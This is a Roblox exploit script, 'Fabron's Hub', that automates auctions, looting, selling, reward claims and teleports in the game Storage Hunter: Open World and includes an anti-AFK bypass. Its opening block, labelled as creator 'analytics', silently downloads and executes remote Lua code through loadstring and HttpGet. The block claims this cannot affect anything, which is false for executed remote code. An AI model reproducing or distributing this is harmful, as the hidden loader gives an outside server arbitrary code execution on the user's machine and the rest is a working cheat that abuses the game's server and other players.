--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6a4212506bb72e180cc42a65"))() end) end) --[[rscripts:analytics:end]] local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() local Players = game:GetService("Players") local RS = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local VirtualUser = game:GetService("VirtualUser") local LP = Players.LocalPlayer local E = RS:WaitForChild("Events") -- anti-AFK LP.Idled:Connect(function() VirtualUser:Button2Down(Vector2.new(0, 0), workspace.CurrentCamera.CFrame) task.wait(1) VirtualUser:Button2Up(Vector2.new(0, 0), workspace.CurrentCamera.CFrame) end) local R = { Bid = E.Auction:WaitForChild("Bid"), ToggleBiddingUI = E.Auction:WaitForChild("ToggleBiddingUI"), UpdateWinBid = E.Auction:WaitForChild("UpdateCurrentWinningBid"), UseCalculator = E.Auction:WaitForChild("UseCalculator"), UseXRay = E.Auction:WaitForChild("UseXRay"), UseKickNPC = E.Auction:WaitForChild("UseKickNPC"), GetVehicleItems = E.Vehicles:WaitForChild("GetVehicleItems"), Unload = E.Vehicles:WaitForChild("TransferVehicleItemsToInventory"), RequestSpawn = E.Vehicles:WaitForChild("RequestSpawn"), GetWashable = E.Wash:WaitForChild("GetWashableItems"), WashSlots = E.Wash:WaitForChild("GetSlotState"), StartWash = E.Wash:WaitForChild("StartWash"), CollectWash = E.Wash:WaitForChild("CollectWash"), ClaimWash = E.Wash:WaitForChild("ClaimWashedItem"), WrenchState = E.WrenchShop:WaitForChild("GetState"), RepairWrench = E.WrenchShop:WaitForChild("RepairWithWrench"), GetRepairable = E.Repair:WaitForChild("GetRepairableItems"), RepairSlots = E.Repair:WaitForChild("GetSlotState"), StartRepair = E.Repair:WaitForChild("StartRepair"), CollectRepair = E.Repair:WaitForChild("CollectRepair"), ClaimRepair = E.Repair:WaitForChild("ClaimRepairedItem"), GetSellable = E.Pawn:WaitForChild("GetSellableItems"), SellItems = E.Pawn:WaitForChild("SellItems"), PawnState = E.Pawn:WaitForChild("GetPawnState"), ShowOffer = E.NPCShopper:WaitForChild("ShowOffer"), RespondOffer = E.NPCShopper:WaitForChild("RespondOffer"), DrinkCatalog = E.EnergyShop:WaitForChild("GetCatalog"), BuyDrink = E.EnergyShop:WaitForChild("BuyDrink"), ClaimDaily = E.DailyReward:WaitForChild("ClaimDailyReward"), AchStatus = E.Achievements:WaitForChild("GetAchievementStatus"), ClaimAch = E.Achievements:WaitForChild("ClaimAchievementReward"), CollState = E.Collections:WaitForChild("GetCollectionState"), ClaimMilestone = E.Collections:WaitForChild("ClaimMilestoneReward"), ClaimTier = E.Collections:WaitForChild("ClaimTierReward"), GetLostItems = E.UI:WaitForChild("GetLostItems"), ClaimLostItem = E.UI:WaitForChild("ClaimLostItem"), GetPOIs = E.GPS:WaitForChild("GetPOIs"), GetInventory = E.Inventory:WaitForChild("GetPlayerInventory"), PlaceStock = E.Plot:WaitForChild("PlaceStockItem"), PlotData = E.Plot:WaitForChild("RequestPlotData"), } local ItemsDef, MutMod, GradeMults, ItemLoaderMod pcall(function() ItemsDef = require(RS.Modules.Items) end) pcall(function() MutMod = require(RS.Modules.MutatorModule) end) pcall(function() GradeMults = require(RS.Modules.GameConfig).Grading.GradeMultipliers end) pcall(function() ItemLoaderMod = require(RS.Modules.ItemLoader) end) -- Items module is keyed by STRING ItemId (Items["114"], not Items[114]). local function itemDef(id) return ItemsDef and (ItemsDef[tostring(id)] or ItemsDef[id]) end local sizeCache = {} local function itemSize(id) if sizeCache[id] ~= nil then return sizeCache[id] end local def = itemDef(id) local sz = false if def and ItemLoaderMod then local ok, model = pcall(function() return ItemLoaderMod:GetItem(def.Name) end) if ok and model and model:IsA("Model") then local _, s = model:GetBoundingBox() sz = s end end sizeCache[id] = sz return sz end local function snapFits(att, sz) if not sz then return true end -- unknown size -> don't block local w, d, h = att:GetAttribute("SlotWidth"), att:GetAttribute("SlotDepth"), att:GetAttribute("SlotHeight") if w and d then local fit = (sz.X <= w and sz.Z <= d) or (sz.Z <= w and sz.X <= d) if not fit then return false end end if h and sz.Y > h then return false end return true end local function cash() return LP:GetAttribute("Cash") or 0 end local function diamonds() return LP:GetAttribute("Diamonds") or 0 end local function netWorth() return LP:GetAttribute("MaxNetWorth") or 0 end local function notify(title, msg, dur) pcall(function() Rayfield:Notify({ Title = title, Content = msg, Duration = dur or 4 }) end) end local function safeInvoke(rf, ...) local ok, res = pcall(rf.InvokeServer, rf, ...) if ok then return res end return nil end local function equippedVehicleGUID() return LP:GetAttribute("EquippedVehicle") end -- HRP teleport (no movement anti-cheat in this place) local function teleportTo(pos) local char = LP.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if not (hrp and pos) then return false end hrp.CFrame = CFrame.new(pos + Vector3.new(0, 4, 0)) return true end -- generation tokens so rapid toggle on/off/on never stacks loop threads local Gen = {} local function runLoop(key, interval, body) Gen[key] = (Gen[key] or 0) + 1 local myGen = Gen[key] task.spawn(function() while Gen[key] == myGen do pcall(body) task.wait(interval) end end) end local function stopLoop(key) Gen[key] = (Gen[key] or 0) + 1 end local Bid = { active = false, nextPrice = 0, winner = nil } R.ToggleBiddingUI.OnClientEvent:Connect(function(isActive) Bid.active = isActive and true or false if not Bid.active then Bid.nextPrice = 0 Bid.winner = nil end end) -- (curBid, winnerName, _, nextPrice, garageModel) R.UpdateWinBid.OnClientEvent:Connect(function(_, winnerName, _, nextPrice) Bid.winner = winnerName if type(nextPrice) == "number" then Bid.nextPrice = nextPrice end end) -- auto-accept NPC shopper offers: ShowOffer(offerId, ...) -> RespondOffer(offerId, true) local autoAcceptOn = false R.ShowOffer.OnClientEvent:Connect(function(offerId) if autoAcceptOn and offerId then pcall(function() R.RespondOffer:FireServer(offerId, true) end) end end) local selectedGarage = nil -- min pawn rate (fraction 0-1) the auto-pawn will sell at; set by Tab 2 slider local pawnMinRate = 0.7 local sellToPawn = false local function processStep(getItems, getSlots, startFn, collectFn, claimFn) -- claim/collect anything finished across unlocked slots (server no-ops if not ready) local st = safeInvoke(getSlots) local unlocked = (st and st.unlockedCount) or 1 for slot = 1, unlocked do pcall(function() collectFn:InvokeServer(slot) end) pcall(function() claimFn:InvokeServer(slot) end) end -- start new items into free slots local data = safeInvoke(getItems) local items = data and data.items if type(items) ~= "table" then return end local slot = 1 for _, it in pairs(items) do if slot > unlocked then break end pcall(function() startFn:InvokeServer(slot, it.guid, it.source, it.vehicleGUID) end) slot = slot + 1 end end local function pawnSellAll(force) if not force then local st = safeInvoke(R.PawnState) if not st or (st.rate or 0) < pawnMinRate then return false end end local items = safeInvoke(R.GetSellable) if type(items) ~= "table" then return false end local payload = {} for k, v in pairs(items) do if type(v) == "table" then payload[#payload + 1] = v.guid or v.id or k else payload[#payload + 1] = v end end if #payload == 0 then return false end pcall(function() R.SellItems:InvokeServer(payload) end) return true end local function inventoryFull() local cap = LP:GetAttribute("InventoryCap") or 0 local cnt = LP:GetAttribute("InventoryCount") or 0 return cap > 0 and cnt >= cap end local function findCar() local guid = equippedVehicleGUID() if not guid then return nil end for _, d in ipairs(workspace:GetDescendants()) do if d:IsA("Model") and d:GetAttribute("VehicleGUID") == guid and d:GetAttribute("OwnerUserId") == LP.UserId and d:FindFirstChildWhichIsA("VehicleSeat", true) then return d end end return nil end local function ensureSeatedInCar() local car = findCar() if not car then pcall(function() R.RequestSpawn:FireServer(equippedVehicleGUID()) end) task.wait(2.5) car = findCar() end if not car then return nil end local seat = car:FindFirstChildWhichIsA("VehicleSeat", true) local hum = LP.Character and LP.Character:FindFirstChildOfClass("Humanoid") local hrp = LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") if seat and hum and hrp and hum.SeatPart ~= seat then hrp.CFrame = seat.CFrame + Vector3.new(0, 2, 0) task.wait(0.3) pcall(function() seat:Sit(hum) end) task.wait(0.5) end return car, seat end local function driveCarTo(car, pos) if car and pos then pcall(function() car:PivotTo(CFrame.new(pos + Vector3.new(0, 4, 0))) end) end end local function unseat() local hum = LP.Character and LP.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = false; hum.Jump = true end task.wait(0.3) end local function firstPrompt(inst) for _, d in ipairs(inst:GetDescendants()) do if d:IsA("ProximityPrompt") then return d end end end local function vehicleItemCount() local items = safeInvoke(R.GetVehicleItems, equippedVehicleGUID()) if type(items) ~= "table" then return 0 end local n = 0; for _ in pairs(items.items or items) do n = n + 1 end return n end local function unloadVehicle() local guid = equippedVehicleGUID() if not guid then return false end local items = safeInvoke(R.GetVehicleItems, guid) if type(items) ~= "table" then return false end local payload = {} for g, _ in pairs(items.items or items) do payload[#payload + 1] = g end if #payload == 0 then return true end pcall(function() R.Unload:FireServer(payload) end) return false end local function unloadAtPad(car) local pd = safeInvoke(R.PlotData) if not pd then return false end local pad = (CFrame.new(pd.OriginX, pd.OriginY, pd.OriginZ) * CFrame.Angles(0, math.rad(pd.RotationY or 0), 0)):PointToWorldSpace(Vector3.new(0, 0, -100)) for _ = 1, 8 do if vehicleItemCount() == 0 then return true end driveCarTo(car, pad) task.wait(0.9) unloadVehicle() task.wait(1) end return vehicleItemCount() == 0 end local function claimDaily() if LP:GetAttribute("DailyRewardClaimable") then safeInvoke(R.ClaimDaily) end end local function claimAchievements() local st = safeInvoke(R.AchStatus) if type(st) ~= "table" then return end for id, info in pairs(st) do if type(info) == "table" and info.Status and info.Status ~= "locked" and info.Status ~= "claimed" then pcall(function() R.ClaimAch:InvokeServer(id) end) end end end local function claimCollections() local st = safeInvoke(R.CollState) if type(st) ~= "table" then return end local ms = st.milestones if type(ms) == "table" then for area in pairs(ms) do local a = tostring(area):match("^(.-):") or tostring(area) pcall(function() R.ClaimMilestone:InvokeServer(a) end) end end end local function lostFoundAreas() local res = {} local areas = workspace:FindFirstChild("Areas") if not areas then return res end for _, a in ipairs(areas:GetChildren()) do local box = a:FindFirstChild("Lost and Found Box") local pr = box and box:FindFirstChild("LostFoundPrompt", true) if pr and pr.Enabled then res[#res + 1] = a.Name end end return res end local function claimLostFound() for _, area in ipairs(lostFoundAreas()) do local data = safeInvoke(R.GetLostItems, area) local items = data and (data.items or data) if type(items) == "table" then for guid, it in pairs(items) do local g = (type(it) == "table" and (it.guid or it.id)) or guid pcall(function() R.ClaimLostItem:InvokeServer(area, g) end) end end end end local function bringCarTo(pos) local hrp = LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") if not (hrp and pos) then return end hrp.CFrame = CFrame.new(pos + Vector3.new(0, 4, 0)) task.wait(0.5) pcall(function() R.RequestSpawn:FireServer(equippedVehicleGUID()) end) task.wait(2.5) -- auto-seats; car spawns next to the player unseat() end local function collectWon() local cy = workspace:FindFirstChild("_Carryables") local hrp = LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") if not (cy and hrp) then return end local uid = LP.UserId -- spawn the car at the loot cluster so "Add to Vehicle" resolves it local sum, n = Vector3.new(), 0 for _, item in ipairs(cy:GetChildren()) do if item:GetAttribute("Owner") == uid then local b = item:FindFirstChild("Base") if b then sum = sum + b.Position; n = n + 1 end end end if n == 0 then return end bringCarTo(sum / n) -- pass 1: open all boxes for _, item in ipairs(cy:GetChildren()) do if item:GetAttribute("Owner") == uid then local p = firstPrompt(item) local base = item:FindFirstChild("Base") if p and base and p.ActionText == "Open" then hrp.CFrame = CFrame.new(base.Position + Vector3.new(0, 3, 2)) task.wait(0.4) pcall(fireproximityprompt, p) end end end task.wait(0.5) -- pass 2: add all revealed items to the vehicle for _, item in ipairs(cy:GetChildren()) do if item:GetAttribute("Owner") == uid then local p = firstPrompt(item) local base = item:FindFirstChild("Base") if p and base and p.ActionText == "Add to Vehicle" then hrp.CFrame = CFrame.new(base.Position + Vector3.new(0, 3, 2)) task.wait(0.4) pcall(fireproximityprompt, p, p.HoldDuration) task.wait(0.4) end end end end local function priceForEntry(entry) local def = itemDef(entry.ItemId) if not (def and MutMod) then return 1 end local p = MutMod:CalculatePriceForEntry(def.BasePrice or 0, entry) if entry.Grade and GradeMults and GradeMults[entry.Grade] then p = math.floor(p * GradeMults[entry.Grade] * 100 + 0.5) / 100 end return p end local function plotStockFolder() local data = safeInvoke(R.PlotData) local name = data and data.PlotName local plots = workspace:FindFirstChild("_Plots") local plot = name and plots and plots:FindFirstChild(name) return plot and plot:FindFirstChild("Stock") end local function placeStockOnShelves() local inv = safeInvoke(R.GetInventory) if type(inv) ~= "table" then return end local queue = {} for guid, entry in pairs(inv) do if type(entry) == "table" and entry.ItemId then queue[#queue + 1] = { guid = guid, entry = entry, value = priceForEntry(entry) } end end if #queue == 0 then return end table.sort(queue, function(a, b) return (a.value or 0) > (b.value or 0) end) -- build occupied-snap set per shelf from the plot Stock folder local occupied = {} -- occupied[shelfGUID][snapName] = true local stock = plotStockFolder() if stock then for _, s in ipairs(stock:GetChildren()) do local sg, sn = s:GetAttribute("ShelfGUID"), s:GetAttribute("SnapPointName") if sg and sn then occupied[sg] = occupied[sg] or {} occupied[sg][sn] = true end end end -- collect all free snaps across owned shelves local freeSnaps = {} -- { {sg=, att=, used=false} } for _, shelf in ipairs(workspace:GetDescendants()) do if shelf:IsA("Model") and shelf:GetAttribute("IsShelf") and shelf:GetAttribute("PlacedBy") == LP.UserId then local sg = shelf:GetAttribute("GUID") local occ = occupied[sg] or {} for _, att in ipairs(shelf:GetDescendants()) do if att:IsA("Attachment") and att.Name:match("^SnapPoint") and not occ[att.Name] then freeSnaps[#freeSnaps + 1] = { sg = sg, att = att, used = false } end end end end for _, item in ipairs(queue) do local sz = itemSize(item.entry.ItemId) for _, snap in ipairs(freeSnaps) do if not snap.used and snapFits(snap.att, sz) then local price = priceForEntry(item.entry) pcall(function() R.PlaceStock:FireServer(item.guid, tostring(item.entry.ItemId), snap.att.WorldCFrame, price, snap.sg, snap.att.Name) end) snap.used = true break end end end end local function buyBestDrink() local cat = safeInvoke(R.DrinkCatalog) local drinks = cat and cat.Drinks if type(drinks) ~= "table" then return end local best for _, d in pairs(drinks) do if (d.StockRemaining or 0) > 0 and netWorth() >= (d.MinNetWorth or 0) and diamonds() >= (d.DiamondPrice or math.huge) then if not best or (d.LuckBonus or 0) > (best.LuckBonus or 0) then best = d end end end if best then pcall(function() R.BuyDrink:InvokeServer(best.EnergyDrinkId) end) end end local function claimAll() claimDaily(); claimAchievements(); claimCollections(); claimLostFound() end local function baseGarageName(id) return (tostring(id):gsub("%s*%d+$", "")) end local function startAuctionAt(target) if not target then return false end local deb = workspace:FindFirstChild("_Debris") local gar = deb and deb:FindFirstChild("Garages") if not gar then return false end for _, g in ipairs(gar:GetChildren()) do local okArea = (g:GetAttribute("AreaName") == target.area) local okId = (target.id == nil) or (baseGarageName(g:GetAttribute("GarageId")) == target.id) if okArea and okId then local cost = g:GetAttribute("EntryCost") or 0 if cash() >= cost then local prompt for _, d in ipairs(g:GetDescendants()) do if d:IsA("ProximityPrompt") and d.ActionText == "Start Auction" then prompt = d break end end -- skip consumed garages: their Start Auction prompt is disabled local part = prompt and prompt.Enabled and prompt.Parent if part and part:IsA("BasePart") then teleportTo(part.Position) task.wait(0.35) pcall(fireproximityprompt, prompt, prompt.HoldDuration) return true end end end end return false end local telePOIs = {} do local data = safeInvoke(R.GetPOIs) local pois = data and data.pois if type(pois) == "table" then for _, p in ipairs(pois) do if p.name and p.position then local otherShop = (p.category == "Player Shop") and (p.ownerUserId ~= LP.UserId) if not otherShop then telePOIs[#telePOIs + 1] = { label = string.format("%s [%s]", p.name, tostring(p.category or "?")), pos = p.position, } end end end end end local garageLabels = {} local garageByLabel = {} local labelCost = {} do local deb = workspace:FindFirstChild("_Debris") local gar = deb and deb:FindFirstChild("Garages") if gar then for _, g in ipairs(gar:GetChildren()) do local id = baseGarageName(g:GetAttribute("GarageId") or g.Name) local area = g:GetAttribute("AreaName") or "?" local cost = g:GetAttribute("EntryCost") or 0 local label = string.format("%s - %s ($%s)", id, area, tostring(cost)) if not garageByLabel[label] then garageByLabel[label] = { id = id, area = area } labelCost[label] = cost garageLabels[#garageLabels + 1] = label end end end end -- cheapest entry on top (ties alphabetical) table.sort(garageLabels, function(a, b) if labelCost[a] ~= labelCost[b] then return labelCost[a] < labelCost[b] end return a < b end) -- POI name -> position (for teleport-to-shop steps) local poiPos = {} do local data = safeInvoke(R.GetPOIs) local pois = data and data.pois if type(pois) == "table" then for _, p in ipairs(pois) do if p.name and p.position then poiPos[p.name] = p.position end end end end local function farmCollect() collectWon() -- spawns the car at the loot itself, then visits each item end local function farmUnload() local car = ensureSeatedInCar() if car then unloadAtPad(car) end end local function farmClean() unseat() if poiPos["Item Cleaning Services"] then teleportTo(poiPos["Item Cleaning Services"]); task.wait(0.6) end processStep(R.GetWashable, R.WashSlots, R.StartWash, R.CollectWash, R.ClaimWash) end local function farmRepair() unseat() if poiPos["Repair Shop"] then teleportTo(poiPos["Repair Shop"]); task.wait(0.6) end processStep(R.GetRepairable, R.RepairSlots, R.StartRepair, R.CollectRepair, R.ClaimRepair) end local function farmWrenchRepair() local st = safeInvoke(R.WrenchState) local owned = st and st.owned local hasWrench = false if type(owned) == "table" then for _ in pairs(owned) do hasWrench = true break end end if not hasWrench then return end local data = safeInvoke(R.GetRepairable) local items = data and (data.items or data) if type(items) ~= "table" then return end for k, it in pairs(items) do local guid = (type(it) == "table" and (it.guid or it.id)) or k if guid then pcall(function() R.RepairWrench:InvokeServer(guid) end) task.wait(0.4) -- server processes one at a time; space the calls end end end local function farmSell() local pd = safeInvoke(R.PlotData) if pd then local origin = Vector3.new(pd.OriginX, pd.OriginY, pd.OriginZ) local hrp = LP.Character and LP.Character:FindFirstChild("HumanoidRootPart") if hrp and (hrp.Position - origin).Magnitude > 120 then unseat() teleportTo(origin) task.wait(0.6) end end placeStockOnShelves() end local function goToPawn() unseat() local dest = poiPos["Quck Sell Shop"] or poiPos["Quick Sell Shop"] if dest then teleportTo(dest); task.wait(0.6) end end local function farmPawn() -- rate gate first (avoid teleporting for nothing) local st = safeInvoke(R.PawnState) if not st or (st.rate or 0) < pawnMinRate then return end goToPawn() pawnSellAll() end local function forcePawnIfFull() if not inventoryFull() then return end goToPawn() pawnSellAll(true) end local function lostFoundCount() return #lostFoundAreas() end local function lfBoxPos(area) local areas = workspace:FindFirstChild("Areas") local a = areas and areas:FindFirstChild(area) local box = a and a:FindFirstChild("Lost and Found Box") if not box then return nil end for _, d in ipairs(box:GetDescendants()) do if d:IsA("BasePart") then return d.Position end end end local function farmClaimLostFound() for _, area in ipairs(lostFoundAreas()) do local pos = lfBoxPos(area) if pos then bringCarTo(pos) end -- spawn car at box + unseat local data = safeInvoke(R.GetLostItems, area) local items = data and (data.items or data) if type(items) == "table" then for guid, it in pairs(items) do local g = (type(it) == "table" and (it.guid or it.id)) or guid pcall(function() R.ClaimLostItem:InvokeServer(area, g) end) end end end end local function processAndSell() -- step 5 tail: unseat -> clean -> repair (wrench) -> sell unseat() farmClean() farmWrenchRepair() -- fix broken items with wrench (no repair-shop detour) if sellToPawn then farmPawn() else farmSell() end end local function masterFarmCycle() -- inventory maxed? dump to pawn first so unloads have room (cap is per-player) forcePawnIfFull() if lostFoundCount() > 0 then farmClaimLostFound() -- spawn car at box, unseat, claim local car = ensureSeatedInCar() -- seat to drive onto the pad if car then unloadAtPad(car) end -- unload (on pad, seated) processAndSell() -- unseat -> clean -> repair -> sell return end -- 1. start auction if not Bid.active and selectedGarage then startAuctionAt(selectedGarage) local t0 = tick() repeat task.wait(0.3) until Bid.active or (tick() - t0) > 6 end -- 2. bid to win local t0 = tick() while Bid.active and (tick() - t0) < 35 do if Bid.winner ~= LP.Name and cash() >= (Bid.nextPrice or 0) then R.Bid:FireServer() end task.wait(0.15) end -- 3. wait for loot to spawn task.wait(1.2) -- 4. collect: spawn car AT the loot, unseat, teleport player to each item collectWon() -- 5. unload: seat the car, drive it onto the plot pad, unload (stays seated) local car = ensureSeatedInCar() if car then unloadAtPad(car) end -- 6/7/8: unseat -> clean -> repair (wrench) -> sell processAndSell() end local Window = Rayfield:CreateWindow({ Name = "Storage Hunter: Open World - Fabron's Hub", LoadingTitle = "Loading...", LoadingSubtitle = "Fabron's Hub is loading, please wait..", ConfigurationSaving = { Enabled = true, FolderName = "Storage Hunter Open World", FileName = "Config" }, KeySystem = false, }) local TAuction = Window:CreateTab("Auctions", 4483362458) selectedGarage = garageLabels[1] and garageByLabel[garageLabels[1]] or nil local lastStartAt = 0 if #garageLabels > 0 then TAuction:CreateDropdown({ Name = "Garage Selector", Options = garageLabels, CurrentOption = { garageLabels[1] }, Flag = "Garage", Callback = function(opt) local label = (type(opt) == "table") and opt[1] or opt selectedGarage = garageByLabel[label] end, }) end -- fully-auto: bid+win -> collect -> unload -> clean -> repair -> sell, on loop TAuction:CreateToggle({ Name = "AUTO FARM - Full Cycle (fully auto)", CurrentValue = false, Flag = "AutoFarmFull", Callback = function(on) if on then runLoop("AutoFarmFull", 1, masterFarmCycle) else stopLoop("AutoFarmFull") end end, }) TAuction:CreateToggle({ Name = "Sell to Pawn Shop (instant cash) - cycle sells to pawn instead of shelves", CurrentValue = false, Flag = "SellToPawn", Callback = function(on) sellToPawn = on end, }) local TFarm = Window:CreateTab("Single Autos", 4483362458) TFarm:CreateParagraph({ Title = "Single steps", Content = "Each toggle positions itself. Run ONE position step at a time (or use AUTO FARM - Full Cycle on the Auctions tab). Auto Accept can run alongside anything.", }) TFarm:CreateToggle({ Name = "Auto Bid & Open Garage", CurrentValue = false, Flag = "AutoBidGarage", Callback = function(on) if on then runLoop("AutoBidGarage", 0.2, function() if Bid.active then if Bid.winner ~= LP.Name and cash() >= (Bid.nextPrice or 0) then R.Bid:FireServer() end elseif selectedGarage and (tick() - lastStartAt) > 2.5 then lastStartAt = tick() startAuctionAt(selectedGarage) end end) else stopLoop("AutoBidGarage") end end, }) TFarm:CreateToggle({ Name = "Auto Collect Auction Item (open box + add to vehicle)", CurrentValue = false, Flag = "AutoCollect", Callback = function(on) if on then runLoop("AutoCollect", 2, farmCollect) else stopLoop("AutoCollect") end end, }) TFarm:CreateToggle({ Name = "Auto Unload (vehicle -> inventory)", CurrentValue = false, Flag = "AutoUnload", Callback = function(on) if on then runLoop("AutoUnload", 3, farmUnload) else stopLoop("AutoUnload") end end, }) TFarm:CreateToggle({ Name = "Auto Sell (Shelf & Podium)", CurrentValue = false, Flag = "AutoSellShelf", Callback = function(on) if on then runLoop("AutoSellShelf", 4, farmSell) else stopLoop("AutoSellShelf") end end, }) TFarm:CreateToggle({ Name = "Auto Clean", CurrentValue = false, Flag = "AutoClean", Callback = function(on) if on then runLoop("AutoClean", 5, farmClean) else stopLoop("AutoClean") end end, }) TFarm:CreateToggle({ Name = "Auto Repair", CurrentValue = false, Flag = "AutoRepair", Callback = function(on) if on then runLoop("AutoRepair", 5, farmRepair) else stopLoop("AutoRepair") end end, }) TFarm:CreateToggle({ Name = "Auto Accept NPC Offer", CurrentValue = false, Flag = "AutoAccept", Callback = function(on) autoAcceptOn = on end, }) -- pawn: instant-sell everything, only when the (fluctuating) rate is high enough local pawnNote = TFarm:CreateParagraph({ Title = "Pawn Rate", Content = "loading..." }) runLoop("PawnNote", 2, function() local st = safeInvoke(R.PawnState) if st then pawnNote:Set({ Title = "Pawn Rate", Content = string.format("Current: %.0f%% | next change in %ds | will sell when >= %.0f%%", (st.rate or 0) * 100, st.secondsUntilNext or 0, pawnMinRate * 100), }) end end) TFarm:CreateSlider({ Name = "Min Pawn Rate %", Range = { 0, 100 }, Increment = 5, Suffix = "%", CurrentValue = 70, Flag = "PawnMinRate", Callback = function(v) pawnMinRate = (tonumber(v) or 70) / 100 end, }) TFarm:CreateToggle({ Name = "Auto Sell All to Pawnshop (rate-gated, instant cash)", CurrentValue = false, Flag = "AutoPawn", Callback = function(on) if on then runLoop("AutoPawn", 5, farmPawn) else stopLoop("AutoPawn") end end, }) local TShop = Window:CreateTab("Shop", 4483362458) TShop:CreateToggle({ Name = "Auto Buy Luck Drink (best affordable)", CurrentValue = false, Flag = "AutoDrink", Callback = function(on) if on then runLoop("AutoDrink", 8, buyBestDrink) else stopLoop("AutoDrink") end end, }) TShop:CreateButton({ Name = "Buy Luck Drink (once)", Callback = buyBestDrink }) local TClaim = Window:CreateTab("Claims", 4483362458) TClaim:CreateToggle({ Name = "Auto Claim All", CurrentValue = false, Flag = "AutoClaim", Callback = function(on) if on then runLoop("AutoClaim", 30, claimAll) else stopLoop("AutoClaim") end end, }) local TTele = Window:CreateTab("Teleport", 4483362458) if #telePOIs > 0 then for _, poi in ipairs(telePOIs) do TTele:CreateButton({ Name = poi.label, Callback = function() if teleportTo(poi.pos) then notify("Teleport", "-> " .. poi.label, 2) else notify("Teleport", "Failed (no character?)", 3) end end, }) end else TTele:CreateParagraph({ Title = "No POIs", Content = "GPS.GetPOIs returned nothing." }) end notify("Fabron's Hub", "Storage Hunter loaded", 5)